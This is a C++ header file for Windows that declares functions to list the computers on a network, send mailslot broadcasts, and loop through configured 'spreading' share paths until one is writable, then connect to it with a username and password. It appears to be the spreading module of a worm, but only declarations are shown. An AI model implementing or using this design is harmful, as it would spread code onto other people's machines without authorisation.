#include <windows.h>
#include <string>
#include <vector>

using namespace std;

class share {
public:
	share(const string &path, const string &username, const string &password);
	~share();

	int connect() const;
	int disconnect() const;
private:
	string path;
	string username;
	string password;
};

int sendMailslotMessage(const string &target,string &mailslot,unsigned const char *buffer,int size); //Returns the number of bytes written, or -1 on error
int sendMailslotMessageToEveryone(string &mailslot,unsigned const char *buffer,int size); //Returns the number of bytes written, or -1 on error

class mailslot {
public:
    mailslot(const string &name);
    ~mailslot();

    bool open();
    void close();

    bool isOpen();

    int sizeOfNextMessage(); //Returns -1 when the message queue is empty
    int readNextMessage(unsigned char *buffer,int size);
private:
    string name;
    HANDLE ms;
};

bool getComputersInNetwork(vector<string> &list,LPNETRESOURCE parent = NULL);

// Loops trough all the listed shares in settings/spreading/ and tries to create a file on each share. When a writeable share is found, the function returns true and "path" is set to the full path of the share. Also, it will connect to the share with the specified username/password.
bool connectToWritableShare(const string &computer, const string &username, const string &password, string &path);
